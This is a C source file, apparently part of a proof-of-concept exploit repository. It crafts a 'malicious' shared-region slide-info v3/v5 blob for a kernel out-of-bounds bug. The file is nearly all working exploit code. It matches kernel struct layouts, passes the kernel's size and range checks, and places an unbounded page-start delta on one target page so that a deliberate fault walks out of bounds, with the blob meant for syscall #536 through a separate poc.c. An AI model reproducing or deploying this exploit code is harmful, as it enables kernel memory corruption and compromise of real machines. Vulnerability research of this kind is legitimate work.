Repository navigation
Expand file tree
/
Copy pathslide_blob.c
More file actions
100 lines (87 loc) · 3.36 KB
/
Copy pathslide_blob.c
File metadata and controls
100 lines (87 loc) · 3.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/* ===========================================================================
* slide_blob.c -- implementation of the malicious slide-info v3/v5 crafter.
*
* COMPILE ONLY. This file only builds a byte buffer; it does not touch the
* kernel. The buffer becomes dangerous only when handed to syscall #536 via
* poc.c on a real (disposable) machine.
* ===========================================================================
*/
#include "slide_blob.h"
#include <stdlib.h>
#include <string.h>
/* Static assertion: header must be exactly 24 bytes, value_add at +16, to
* byte-match the kernel structs (vm_shared_region_slide_info_entry_v3/_v5). */
_Static_assert(sizeof(struct slide_info_v3v5_header) == 24,
"slide-info v3/v5 header must be 24 bytes to match the kernel struct");
_Static_assert(offsetof(struct slide_info_v3v5_header, value_add) == 16,
"value_add must be at offset 16 (8-byte aligned) to match the kernel");
_Static_assert(offsetof(struct slide_info_v3v5_header, page_starts_count) == 8,
"page_starts_count must be at offset 8");
int
build_slide_blob(uint32_t version,
uint32_t target_page,
uint16_t page_start_oob,
uint64_t value_add,
uint32_t page_starts_count,
struct slide_blob *out)
{
uint32_t page_size;
if (out == NULL) {
return -1;
}
if (version == 3) {
page_size = PAGE_SIZE_FOR_SR_SLIDE; /* 0x1000 */
} else if (version == 5) {
page_size = PAGE_SIZE_FOR_SR_SLIDE_16KB; /* 0x4000 */
} else {
return -1; /* only v3 and v5 carry the missing-bound defect */
}
if (page_starts_count <= target_page) {
return -1; /* faulted pageIndex must be in range, else KERN_FAILURE */
}
if (page_start_oob == DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE) {
return -1; /* 0xFFFF would skip the page -- not an OOB hop */
}
/* required_size = sizeof(header) + 2*page_starts_count -- exactly what
* the kernel sanity check computes; we make slide_info_size == that. */
size_t hdr_size = sizeof(struct slide_info_v3v5_header); /* 24 */
size_t arr_size = (size_t)page_starts_count * sizeof(uint16_t);
size_t total = hdr_size + arr_size;
if (total > SANE_SLIDE_INFO_SIZE) {
return -1; /* kernel rejects slide_info_size > SANE_SLIDE_INFO_SIZE */
}
uint8_t *buf = (uint8_t *)calloc(1, total);
if (buf == NULL) {
return -1;
}
struct slide_info_v3v5_header *h = (struct slide_info_v3v5_header *)buf;
h->version = version;
h->page_size = page_size;
h->page_starts_count = page_starts_count;
h->value_add = value_add;
uint16_t *page_starts = (uint16_t *)(buf + hdr_size);
/* Every page is "no rebase" (0xFFFF) so the kernel skips it -- harmless.
* Exactly one page (target_page) carries the OOB first-hop delta. This
* keeps the trigger deterministic: only the page we deliberately fault
* walks off the end. */
for (uint32_t i = 0; i < page_starts_count; i++) {
page_starts[i] = DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE; /* 0xFFFF */
}
page_starts[target_page] = page_start_oob; /* the bug: unbounded byte delta */
out->buf = buf;
out->size = total;
out->version = version;
out->page_size = page_size;
out->target_page = target_page;
out->page_start = page_start_oob;
return 0;
}
void
free_slide_blob(struct slide_blob *b)
{
if (b != NULL && b->buf != NULL) {
free(b->buf);
b->buf = NULL;
b->size = 0;
}
}